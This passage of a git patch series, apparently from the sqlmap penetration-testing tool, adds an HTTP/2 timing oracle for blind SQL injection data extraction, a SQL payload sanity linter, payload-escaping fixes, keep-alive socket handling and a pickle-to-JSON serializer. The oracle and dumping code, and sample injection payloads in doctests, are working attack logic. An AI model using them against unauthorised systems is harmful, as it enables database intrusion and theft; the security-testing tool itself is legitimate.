comparison + bisection injects (e.g. 'ORD(...)>64'). The condition request carries it at INFERENCE_MARKER, the + negation request carries NOT(condition); with a heavy-query `vector` exactly one runs the heavy work, + so response order names the bit - no SLEEP. `vector` defaults to the current technique's vector + (rung 1, bare boolean natural delta); pass getHeavyVector() for rung 2. Returns True iff condition holds.""" + reqCond = _forgeRequest(condition, conn.host, vector) + reqNeg = _forgeRequest("NOT(%s)" % condition, conn.host, vector) + return readBit(conn, reqCond, reqNeg, votes=votes, timeout=timeout) + + +def readBitAsymmetric(conn, reqCond, reqRef, votes=12, timeout=30): + """Read one boolean WITHOUT the negated comparison - only the condition request and a FIXED always-heavy + reference. When the condition is TRUE, reqCond runs the SAME heavy work as reqRef, so they race ~50/50 + and reqCond finishes last about HALF the votes; when FALSE - or when the comparison is NULL / the DBMS + errors on it past the end of a string - reqCond is strictly cheaper and finishes first essentially + always (~0 cond-last). So the DECISION is a fraction threshold well between those two populations, over + a FIXED number of votes (no early-exit): a single stray cond-last from jitter can no longer invent a + phantom character at end-of-string (the bug that appended trailing garbage), while a genuine TRUE still + clears the threshold comfortably. Used as the tiebreak when the symmetric read splits. + Returns True iff the condition holds.""" + condLast = 0 + for i in range(votes): + if i % 2 == 0: + order, _ = conn.exchange_pair([reqCond, reqRef], timeout); condSid = conn.next_sid - 4 + else: + order, _ = conn.exchange_pair([reqRef, reqCond], timeout); condSid = conn.next_sid - 2 + if order[0] != condSid: # cond finished last -> it ran the heavy branch this vote + condLast += 1 + return condLast * 4 >= votes # >= 25% cond-last -> TRUE (mid-way between ~50% and ~0%) + + +def calibrateLive(conn, vector=None, trials=40, threshold=0.9, timeout=30, progress=None): + """Calibrate the live target using a KNOWN asymmetry: INFERENCE=1=1 runs the heavy branch, INFERENCE=1=0 + stays cheap. On a concurrent backend the heavy request finishes last. Returns (usable, confidence); + below threshold the backend serializes or the delta is unreadable -> do NOT use the oracle.""" + reqSlow = _forgeRequest("1=1", conn.host, vector) + reqFast = _forgeRequest("1=0", conn.host, vector) + return calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress) + + +if __name__ == "__main__": + # End-to-end self-test against a local h2 target that gates query cost on ?bit=/&cap= (scratchpad + # h2sqlserver.py): calibrate, then read a run of known bits and report accuracy. + import sys + + host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" + port = int(sys.argv[2]) if len(sys.argv) > 2 else 8470 + cap = int(sys.argv[3]) if len(sys.argv) > 3 else 8000 + + def req(bit): + return {"method": "GET", "path": "/sql?bit=%d&cap=%d" % (bit, cap), "authority": host} + + conn = connect(host, port, None, 30) + usable, conf = calibrate(conn, req(1), req(0), trials=40) + print("calibrate: usable=%s confidence=%.3f" % (usable, conf)) + if usable: + import itertools + # Read a run of known bits. reqCond carries the actual condition (truth=b -> req(b) runs heavy + # iff b=1); reqNeg carries the negation (truth=1-b -> req(1-b) runs heavy iff b=0). Exactly one + # runs heavy, so a single pair resolves the bit both ways. + bits = list(itertools.islice(itertools.cycle([1, 0, 1, 1, 0, 0, 1, 0]), 24)) + ok = 0 + for b in bits: + got = readBit(conn, req(b), req(1 - b), votes=1) + ok += int(bool(got) == bool(b)) + print("read %d/%d bits correctly (single pair each)" % (ok, len(bits))) + conn.close() diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 6e5bb4f27e9..60aa12aa062 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -806,7 +806,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): - if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal): + if (timeBasedCompare or unexpectedCode) and kb.get("timeless") is None and not validateChar(idx, retVal): if restricted: # the character fell outside this column's observed range - re-extract # over the full charset (not timing noise, so no delay increase / retry count) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 9c9a87b841e..568a0eb531f 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -442,9 +442,11 @@ def cellQuery(column, index): # Value-parallel dumping: one whole cell per worker, decoded sequentially, so there # is NO per-cell LENGTH() probe (the position-parallel path needs one to split a # value's characters across threads) and the per-column Huffman model + low-cardinality - # guessing engage under concurrency. Used for the boolean channel with '--threads'; the - # classic per-character-parallel loop stays for single-thread and time-based. - if conf.threads > 1 and not conf.dnsDomain and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + # guessing engage under concurrency. Used for the boolean channel with '--threads', and + # for the HTTP/2 timeless oracle (its per-thread connections make concurrency safe and + # deterministic - unlike classic time-based, whose char-parallel loop interleaves its + # per-thread output). Single-thread and classic time-based keep the char-parallel loop. + if conf.threads > 1 and not conf.dnsDomain and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) or kb.get("timeless") is not None): # One value-parallel pass over every (non-empty) cell, so there is a single # thread pool and values stream live as they complete - out of order, exactly # like the error/union dumps - instead of a silent progress counter. From f65dc92b1e508b4d5588bc95146b02e3b4c1de92 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 02:00:04 +0200 Subject: [PATCH 694/853] Adding SQLlint for checking the sanity of queries --- lib/core/settings.py | 2 +- lib/utils/sqllint.py | 265 +++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 266 insertions(+), 1 deletion(-) create mode 100644 lib/utils/sqllint.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 800d731e2a2..e4e915c832a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.36" +VERSION = "1.10.7.37" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/sqllint.py b/lib/utils/sqllint.py new file mode 100644 index 00000000000..cc220923191 --- /dev/null +++ b/lib/utils/sqllint.py @@ -0,0 +1,265 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +try: + from lib.core.data import kb + from lib.core.data import paths + from lib.core.common import getFileItems +except ImportError: + kb = paths = None + getFileItems = None + +# Token type constants (kept short/local; this is a self-contained lexer) +T_WS = "ws" +T_LCOMMENT = "lcomment" +T_BCOMMENT = "bcomment" +T_STR = "str" # closed string literal ('...' or "...") +T_UNTERM = "unterm" # unterminated string literal (open quote to end) +T_QID = "qid" # quoted identifier (`...` or [...]) +T_NUM = "num" +T_IDENT = "ident" # bare identifier (not a keyword) +T_KEYWORD = "keyword" # identifier whose upper() is a known SQL keyword +T_OP = "op" +T_COMMA = "comma" +T_DOT = "dot" +T_SEMI = "semi" +T_LPAREN = "lparen" +T_RPAREN = "rparen" +T_OTHER = "other" # anything the lexer could not classify + +# Master lexer: ORDER MATTERS (longer / more specific patterns first) +_LEXER = re.compile(r""" + (?P<%s>\s+) + | (?P<%s>(?:--|\#)[^\n]*) + | (?P<%s>/\*.*?\*/) + | (?P<%s>'(?:''|[^'])*'|"(?:""|[^"])*") + | (?P<%s>`[^`]*`|\[[^\]]*\]) + | (?P<%s>0[xX][0-9A-Fa-f]+|(?:\d+\.?\d*|\.\d+)(?:[eE][+-]?\d+)?) + | (?P<%s>[A-Za-z_@$][A-Za-z0-9_@$]*) + | (?P<%s><=|>=|<>|!=|==|<<|>>|\|\||&&|::|:=|[-+*/%%=<>!~&|^:]) + | (?P<%s>,) + | (?P<%s>\.) + | (?P<%s>;) + | (?P<%s>\() + | (?P<%s>\)) +""" % (T_WS, T_LCOMMENT, T_BCOMMENT, T_STR, T_QID, T_NUM, T_IDENT, T_OP, + T_COMMA, T_DOT, T_SEMI, T_LPAREN, T_RPAREN), re.VERBOSE | re.DOTALL) + +# operand-producing token types (something that evaluates to a value) +_OPERANDS = frozenset((T_NUM, T_STR, T_IDENT, T_QID, T_RPAREN)) + +# operands trustworthy as the left side of a "missing separator" check. +# a string is excluded because break-out payloads routinely produce a fake +# merged string (e.g. "1' AND '1"->"' AND '") followed by a bare number; a +# number is excluded because some dialects legitimately space-separate two +# numbers (e.g. HSQLDB "LIMIT ") +_HARD_OPERANDS = frozenset((T_IDENT, T_RPAREN)) + +# binary keyword operators (need an operand on both sides) +_BINARY_KEYWORDS = frozenset(("AND", "OR", "XOR", "LIKE", "RLIKE", "REGEXP", "DIV", "MOD")) + +# binary symbolic operators (unary +/-/~ excluded; '*' excluded as it doubles +# as the SELECT/COUNT wildcard) +_BINARY_SYMBOLS = frozenset(("=", "<>", "!=", "<", ">", "<=", ">=", "/", "%", "||", "&&", "|", "&", "^")) + +_KEYWORDS_CACHE = None + + +class Token(object): + __slots__ = ("type", "value", "start", "end") + + def __init__(self, type_, value, start, end): + self.type = type_ + self.value = value + self.start = start + self.end = end + + +def _keywords(): + global _KEYWORDS_CACHE + + if kb is not None and getattr(kb, "keywords", None): + return kb.keywords + + if _KEYWORDS_CACHE is not None: + return _KEYWORDS_CACHE + + retVal = set() + + candidate = None + if paths is not None and getattr(paths, "SQL_KEYWORDS", None): + candidate = paths.SQL_KEYWORDS + else: + # self-sufficient fallback (e.g. bare doctest run before boot) + candidate = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))), "data", "txt", "keywords.txt") + + try: + if getFileItems is not None: + retVal = set(getFileItems(candidate)) + else: + with open(candidate) as f: + retVal = set(_.strip().upper() for _ in f if _.strip() and not _.startswith('#')) + except Exception: + pass + + _KEYWORDS_CACHE = retVal + return retVal + + +def tokenize(sql, keywords=None): + """ + Fragment-tolerant lexer. Returns a list of Token objects (whitespace kept + so callers can reason about token gluing, e.g. '1UNION'). + + >>> [t.type for t in tokenize("id 1") if t.type != 'ws'] + ['ident', 'num'] + >>> [t.type for t in tokenize("1foo") if t.type != 'ws'] + ['num', 'ident'] + """ + if keywords is None: + keywords = _keywords() + + retVal = [] + pos = 0 + length = len(sql) + + while pos < length: + match = _LEXER.match(sql, pos) + if match: + type_ = match.lastgroup + value = match.group() + if type_ == T_IDENT and value.upper() in keywords: + type_ = T_KEYWORD + retVal.append(Token(type_, value, pos, match.end())) + pos = match.end() + else: + char = sql[pos] + if char in "'\"`[": + # an opening quote/bracket that never closes -> unterminated to end + retVal.append(Token(T_UNTERM, sql[pos:], pos, length)) + pos = length + else: + retVal.append(Token(T_OTHER, char, pos, pos + 1)) + pos += 1 + + return retVal + + +def _significant(tokens): + """Tokens that carry structure (drop whitespace and comments).""" + return [_ for _ in tokens if _.type not in (T_WS, T_LCOMMENT, T_BCOMMENT)] + + +def _isBinary(token): + if token.type == T_KEYWORD: + return token.value.upper() in _BINARY_KEYWORDS + if token.type == T_OP: + return token.value in _BINARY_SYMBOLS + return False + + +def checkSanity(sql, keywords=None): + """ + Fragment-tolerant SQL sanity check. Models locally-valid SQL and reports + only *interior* impossibilities - constructs that no server-side prefix or + suffix could ever make legal. Dangling quotes/parens at the edges are + tolerated (the surrounding query supplies the other half). + + Returns a list of human-readable issue strings (empty == looks sane). + + Assumes SQL keyword operators (AND/OR/LIKE/...) are used as operators, not + as user identifiers named after a keyword (some engines, e.g. SQLite, allow + a column literally named "LIKE") - injection payloads never do the latter. + + >>> checkSanity("1 AND 1=1") + [] + >>> checkSanity("1') UNION SELECT NULL-- -") + [] + >>> bool(checkSanity("(SELECT id 1 FROM users)")) + True + >>> bool(checkSanity("1UNION SELECT NULL")) + True + """ + if not sql: + return [] + + if keywords is None: + keywords = _keywords() + + issues = [] + tokens = tokenize(sql, keywords) + + # -- edge tolerance for unterminated strings --------------------------- + # A trailing open quote at paren-depth 0 is a legitimate break-out. One + # that opens *inside* a group (depth > 0) has swallowed a needed ')', i.e. + # an odd quote count within an owned scope (the classic "users'" abomination). + depth = 0 + for token in tokens: + if token.type == T_LPAREN: + depth += 1 + elif token.type == T_RPAREN: + depth -= 1 + elif token.type == T_UNTERM: + if depth > 0: + issues.append("odd quote inside a parenthesized scope at offset %d" % token.start) + break + + sig = _significant(tokens) + + for i in range(len(sig)): + cur = sig[i] + prev = sig[i - 1] if i > 0 else None + nxt = sig[i + 1] if i + 1 < len(sig) else None + + # a keyword operator immediately followed by '(' is a function call + # (e.g. the SQLite/MySQL LIKE(a, b) function), not a binary operator + curIsFunc = cur.type == T_KEYWORD and nxt is not None and nxt.type == T_LPAREN + curBinary = _isBinary(cur) and not curIsFunc + + # -- glued number/keyword boundary: '1UNION', '1AND' --------------- + if cur.type == T_NUM and nxt is not None and nxt.start == cur.end and nxt.type in (T_IDENT, T_KEYWORD): + issues.append("digit glued to a word ('%s%s') at offset %d" % (cur.value, nxt.value, cur.start)) + + # -- operand directly followed by a bare number: 'id 1' ------------ + # a numeric literal can never be an alias, so this is always broken + if cur.type == T_NUM and prev is not None and prev.type in _HARD_OPERANDS: + issues.append("missing separator before number '%s' at offset %d" % (cur.value, cur.start)) + + # -- degenerate parenthesis / punctuation adjacency ---------------- + if prev is not None: + pair = (prev.type, cur.type) + if pair == (T_COMMA, T_COMMA): + issues.append("empty list item (',,') at offset %d" % cur.start) + elif pair == (T_LPAREN, T_COMMA): + issues.append("comma right after '(' at offset %d" % cur.start) + elif pair == (T_COMMA, T_RPAREN): + issues.append("comma right before ')' at offset %d" % cur.start) + elif pair == (T_RPAREN, T_LPAREN): + issues.append("adjacent groups ')(' at offset %d" % cur.start) + elif pair == (T_LPAREN, T_RPAREN) and (i < 2 or sig[i - 2].type in (T_OP, T_COMMA, T_LPAREN)): + issues.append("empty parentheses at offset %d" % prev.start) + elif cur.type == T_RPAREN and _isBinary(prev): + issues.append("operator right before ')' at offset %d" % cur.start) + elif prev.type == T_COMMA and curBinary: + issues.append("operator right after ',' at offset %d" % cur.start) + elif prev.type == T_LPAREN and curBinary: + issues.append("operator right after '(' at offset %d" % cur.start) + + # -- doubled binary operators: '= =', 'AND AND' -------------------- + if prev is not None and _isBinary(prev) and curBinary: + # allow a unary that legitimately follows (handled by NOT/~/sign) + if not (cur.type == T_KEYWORD and cur.value.upper() == "NOT"): + issues.append("doubled operator ('%s %s') at offset %d" % (prev.value, cur.value, prev.start)) + + # -- stray un-lexable character ------------------------------------ + if cur.type == T_OTHER: + issues.append("stray character '%s' at offset %d" % (cur.value, cur.start)) + + return issues From 89ddc5a592c943e07025851d64d5e19c0b33f30a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 02:09:35 +0200 Subject: [PATCH 695/853] Minor patch --- lib/core/settings.py | 2 +- plugins/dbms/oracle/syntax.py | 2 ++ plugins/generic/syntax.py | 19 +++++++++++-------- 3 files changed, 14 insertions(+), 9 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e4e915c832a..c7165b0d3c9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.37" +VERSION = "1.10.7.38" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index 91e255219dc..ef06da6c83b 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -16,6 +16,8 @@ def escape(expression, quote=True): True >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||NCHR(235)||CHR(102)||CHR(103)||CHR(104) FROM foobar" True + >>> Syntax.escape("SELECT 'a''b' FROM DUAL") == "SELECT CHR(97)||CHR(39)||CHR(98) FROM DUAL" + True """ def escaper(value): diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index 5da7b985298..1202771fdbc 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -26,18 +26,21 @@ def _escape(expression, quote=True, escaper=None): retVal = expression if quote: - for item in re.findall(r"'[^']*'+", expression): - original = item[1:-1] - if original: + # Match a full SQL string literal, honouring the '' (doubled single quote) escape - e.g. + # 'a''b' is ONE literal whose value is a'b, not 'a'' followed by a dangling b'. The old + # r"'[^']*'+" split on the inner '' and left the tail bare, corrupting the encoded payload. + for item in re.findall(r"'(?:[^']|'')*'", expression): + value = item[1:-1].replace("''", "'") # inner content with '' collapsed to the real quote + if value: if Backend.isDbms(DBMS.SQLITE) and "X%s" % item in expression: continue - if re.search(r"\[(SLEEPTIME|RAND)", original) is None: # e.g. '[SLEEPTIME]' marker - replacement = escaper(original) if not conf.noEscape else original + if re.search(r"\[(SLEEPTIME|RAND)", value) is None: # e.g. '[SLEEPTIME]' marker + replacement = escaper(value) if not conf.noEscape else value - if replacement != original: + if replacement != value: retVal = retVal.replace(item, replacement) - elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL): - retVal = retVal.replace("'%s'" % original, "n'%s'" % original) + elif len(value) != len(getBytes(value)) and "n%s" % item not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL): + retVal = retVal.replace(item, "n%s" % item) else: retVal = escaper(expression) From e2c55c1ddc56d331ffe45d96b221a937b8da87b1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 11:14:34 +0200 Subject: [PATCH 696/853] Minor patch --- lib/core/settings.py | 2 +- lib/request/connect.py | 11 +++++++++++ lib/request/keepalive.py | 24 ++++++++++++++++++++---- 3 files changed, 32 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c7165b0d3c9..01edfd27958 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.38" +VERSION = "1.10.7.39" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index f148d9358c0..ce39c8f2944 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -760,6 +760,17 @@ class _(dict): warnMsg = "problem occurred during connection closing ('%s')" % getSafeExString(ex) logger.warning(warnMsg) + # Keep-alive: dispose the response explicitly. Its wrapped close() hands the socket + # back to the pool when the body was fully drained, otherwise drops it (a size-capped + # partial read must not be reused). This avoids leaning on GC to reclaim it (delayed on + # non-refcounting runtimes like PyPy). Guarded by the handler's marker so the HTTP/2 + # reuse pool is left untouched. + elif conn is not None and getattr(conn, "_keepaliveManaged", False): + try: + conn.close() + except Exception: + pass + except SqlmapConnectionException as ex: if conf.proxyList and not kb.threadException: warnMsg = "unable to connect to the target URL ('%s')" % getSafeExString(ex) diff --git a/lib/request/keepalive.py b/lib/request/keepalive.py index e3f19264390..1195ff477ea 100644 --- a/lib/request/keepalive.py +++ b/lib/request/keepalive.py @@ -185,7 +185,11 @@ def _instrument(self, response, key, conn, count, keep): a connection is never reused. """ - state = {"handled": False} + # 'eof' is raised only on a genuine end-of-body (observed while reading), never + # merely because close() nulled the file object; the socket is handed back to the + # pool solely on that signal, so a half-read response can never be reused (which + # would splice its leftover bytes onto the next request - response desynchronization) + state = {"handled": False, "reading": False, "eof": False} _read = response.read _close = response.close @@ -200,7 +204,7 @@ def drained(): def settle(): # Once (and only once) the body is fully drained, decide the socket's fate - if state["handled"] or not drained(): + if state["handled"] or not state["eof"]: return state["handled"] = True if keep: @@ -212,12 +216,23 @@ def settle(): pass def read(*args, **kwargs): - data = _read(*args, **kwargs) + state["reading"] = True + try: + data = _read(*args, **kwargs) + finally: + state["reading"] = False + if drained(): + state["eof"] = True settle() return data def close(): - # Note: on Python 2 httplib.read() calls close() itself upon EOF + # Note: on Python 2 httplib.read() calls close() itself upon EOF, i.e. from inside + # our read(); such an in-read close marks a real end-of-body. An external close() + # on a not-yet-drained body means the caller abandoned it (e.g. sqlmap hitting a + # size cap), so the socket must be dropped rather than returned to the pool. + if state["reading"]: + state["eof"] = True _close() settle() if not state["handled"]: @@ -228,6 +243,7 @@ def close(): except Exception: pass + response._keepaliveManaged = True response.read = read response.close = close From 4504edaeb115fe2dd831252cccef41069765a33c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 8 Jul 2026 12:13:49 +0200 Subject: [PATCH 697/853] Switching from pickle to json for serialization --- lib/core/bigarray.py | 20 +- lib/core/common.py | 12 +- lib/core/convert.py | 240 ++++++++++++++--- lib/core/patch.py | 46 ---- lib/core/settings.py | 9 +- lib/core/unescaper.py | 5 +- lib/utils/hashdb.py | 36 ++- tests/test_convert.py | 41 ++- tests/test_serialize.py | 462 ++++++++++++++++++++++++++++++++ tests/test_sqllint.py | 191 +++++++++++++ tests/test_unpickle_security.py | 121 --------- thirdparty/bottle/bottle.py | 25 +- 12 files changed, 934 insertions(+), 274 deletions(-) create mode 100644 tests/test_serialize.py create mode 100644 tests/test_sqllint.py delete mode 100644 tests/test_unpickle_security.py diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 1606bc69a45..5a833a9e715 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -5,11 +5,6 @@ See the file 'LICENSE' for copying permission """ -try: - import cPickle as pickle -except: - import pickle - import itertools import os import shutil @@ -86,7 +81,7 @@ class BigArray(list): >>> _[0] = [None] >>> _.index(0) 20 - >>> import pickle; __ = pickle.loads(pickle.dumps(_)) + >>> import copy; __ = copy.deepcopy(_) >>> __.append(1) >>> len(_) 100001 @@ -158,9 +153,10 @@ def pop(self): self.chunks[-1] = self.cache.data self.cache.dirty = False else: + from lib.core.convert import deserializeValue try: with open(filename, "rb") as f: - self.chunks[-1] = pickle.loads(zlib.decompress(f.read())) + self.chunks[-1] = deserializeValue(zlib.decompress(f.read())) except IOError as ex: errMsg = "exception occurred while retrieving data " errMsg += "from a temporary file ('%s')" % ex @@ -207,11 +203,13 @@ def __del__(self): self.close() def _dump(self, chunk): + from lib.core.convert import getBytes, serializeValue try: handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY) self.filenames.add(filename) with os.fdopen(handle, "w+b") as f: - f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL)) + # serializeValue() returns text; encode to bytes for the compressed on-disk chunk + f.write(zlib.compress(getBytes(serializeValue(chunk)), BIGARRAY_COMPRESS_LEVEL)) return filename except (OSError, IOError) as ex: errMsg = "exception occurred while storing data " @@ -240,9 +238,10 @@ def _checkcache(self, index): pass if not (self.cache and self.cache.index == index): + from lib.core.convert import deserializeValue try: with open(self.chunks[index], "rb") as f: - self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False) + self.cache = Cache(index, deserializeValue(zlib.decompress(f.read())), False) except Exception as ex: errMsg = "exception occurred while retrieving data " errMsg += "from a temporary file ('%s')" % ex @@ -361,8 +360,9 @@ def __iter__(self): if cache_index == idx and cache_data is not None: data = cache_data else: + from lib.core.convert import deserializeValue with open(chunk, "rb") as f: - data = pickle.loads(zlib.decompress(f.read())) + data = deserializeValue(zlib.decompress(f.read())) except Exception as ex: errMsg = "exception occurred while retrieving data " errMsg += "from a temporary file ('%s')" % ex diff --git a/lib/core/common.py b/lib/core/common.py index 09d2d308c66..7dd4d441aaa 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -53,14 +53,14 @@ from lib.core.compat import RecursionError from lib.core.compat import round from lib.core.compat import xrange -from lib.core.convert import base64pickle -from lib.core.convert import base64unpickle from lib.core.convert import decodeBase64 +from lib.core.convert import deserializeValue from lib.core.convert import decodeHex from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.convert import htmlUnescape +from lib.core.convert import serializeValue from lib.core.convert import stdoutEncode from lib.core.data import cmdLineOptions from lib.core.data import conf @@ -5071,7 +5071,7 @@ def serializeObject(object_): True """ - return base64pickle(object_) + return serializeValue(object_) def unserializeObject(value): """ @@ -5079,11 +5079,11 @@ def unserializeObject(value): >>> unserializeObject(serializeObject([1, 2, 3])) == [1, 2, 3] True - >>> unserializeObject('gAJVBmZvb2JhcnEBLg==') - 'foobar' + >>> unserializeObject(serializeObject('foobar')) == 'foobar' + True """ - return base64unpickle(value) if value else None + return deserializeValue(value) if value else None def resetCounter(technique): """ diff --git a/lib/core/convert.py b/lib/core/convert.py index 31bbf9b8ec3..95b29622d17 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -5,14 +5,11 @@ See the file 'LICENSE' for copying permission """ -try: - import cPickle as pickle -except: - import pickle - import base64 import binascii import codecs +import datetime +import decimal import json import re import sys @@ -26,7 +23,6 @@ from lib.core.settings import IS_TTY from lib.core.settings import IS_WIN from lib.core.settings import NULL -from lib.core.settings import PICKLE_PROTOCOL from lib.core.settings import SAFE_HEX_MARKER from lib.core.settings import UNICODE_ENCODING from thirdparty import six @@ -41,48 +37,228 @@ htmlEscape = _escape -def base64pickle(value): +# Safe (no arbitrary code execution) serialization used for the session store (HashDB) +# and BigArray disk chunks. The former serializer could execute code while loading, so +# deserializing sqlmap's own (locally writable) session/cache files was a recurring +# report magnet. This codec serializes to plain JSON with explicit type tags, so nothing +# is ever executed on load. +# +# JSON natively covers only str/int/float/bool/None/list, and silently loses the rest +# (int/tuple dict keys become strings, set/tuple/bytes are rejected). The tagged wrappers +# below preserve every type sqlmap actually stores: bytes, tuple, set/frozenset, dict with +# arbitrary (non-string) keys, DB-driver scalars (Decimal/datetime/...), and the handful of +# sqlmap's own classes below. Reconstruction of classes is limited to that explicit +# allowlist (no module/namespace wildcard), so no dangerous callable is ever reachable. + +# reserved wrapper key; data mappings are encoded as tagged pair-lists (never as bare JSON +# objects), so any decoded JSON object is one of our wrappers and this key can never collide +_SERIALIZE_TAG = "$T" + +# fully-qualified names of the ONLY classes that may be reconstructed on deserialization +_SERIALIZE_CLASSES = frozenset(( + "lib.core.datatype.AttribDict", + "lib.core.datatype.InjectionDict", + "lib.utils.har.RawPair", +)) + +def _serializeEncode(value): """ - Serializes (with pickle) and encodes to Base64 format supplied (binary) value - - >>> base64unpickle(base64pickle([1, 2, 3])) == [1, 2, 3] - True - >>> isinstance(base64unpickle(base64pickle(BigArray([1, 2, 3]))), BigArray) - True + Turns a Python value into a JSON-serializable (tagged) structure """ - retVal = None + if value is None or isinstance(value, bool) or isinstance(value, float) or isinstance(value, six.integer_types): + return value + + if isinstance(value, six.text_type): + return value + + # Note: on Python 2 'str' is binary; base64-tagging it (rather than emitting a native JSON + # string that would round-trip as 'unicode') keeps the exact byte type across versions + if isinstance(value, (six.binary_type, bytearray)): + raw = bytes(value) if isinstance(value, bytearray) else value + return {_SERIALIZE_TAG: "b", "v": encodeBase64(raw, binary=False), "a": 1 if isinstance(value, bytearray) else 0} + + if isinstance(value, memoryview): + return {_SERIALIZE_TAG: "b", "v": encodeBase64(value.tobytes(), binary=False), "a": 0} try: - retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False) - except: - warnMsg = "problem occurred while serializing " - warnMsg += "instance of a type '%s'" % type(value) - singleTimeWarnMessage(warnMsg) + if isinstance(value, buffer): # noqa: F821 # Python 2 only + return {_SERIALIZE_TAG: "b", "v": encodeBase64(bytes(value), binary=False), "a": 0} + except NameError: + pass + + # Note: BigArray is a 'list' subclass, so it must be matched before the plain-list branch + # (otherwise it would round-trip as a plain list, losing its type) + if isinstance(value, BigArray): + return {_SERIALIZE_TAG: "ba", "v": [_serializeEncode(_) for _ in value]} + + if isinstance(value, list): + return [_serializeEncode(_) for _ in value] + + if isinstance(value, tuple): + return {_SERIALIZE_TAG: "t", "v": [_serializeEncode(_) for _ in value]} + + if isinstance(value, frozenset): + return {_SERIALIZE_TAG: "f", "v": [_serializeEncode(_) for _ in value]} + + if isinstance(value, (set, _collections.Set)): + return {_SERIALIZE_TAG: "s", "v": [_serializeEncode(_) for _ in value]} + + if isinstance(value, dict): + name = "%s.%s" % (value.__class__.__module__, value.__class__.__name__) + if name in _SERIALIZE_CLASSES: + return {_SERIALIZE_TAG: "o", "c": name, "d": [[_serializeEncode(k), _serializeEncode(v)] for (k, v) in value.items()], "s": _serializeEncode(dict(value.__dict__))} + elif value.__class__ is dict: + return {_SERIALIZE_TAG: "m", "v": [[_serializeEncode(k), _serializeEncode(v)] for (k, v) in value.items()]} + else: + return _serializeUnknown(value, name) - try: - retVal = encodeBase64(pickle.dumps(value), binary=False) - except: - raise + if isinstance(value, decimal.Decimal): + return {_SERIALIZE_TAG: "dec", "v": getUnicode(value)} + + if isinstance(value, datetime.datetime): + return {_SERIALIZE_TAG: "dt", "v": [value.year, value.month, value.day, value.hour, value.minute, value.second, 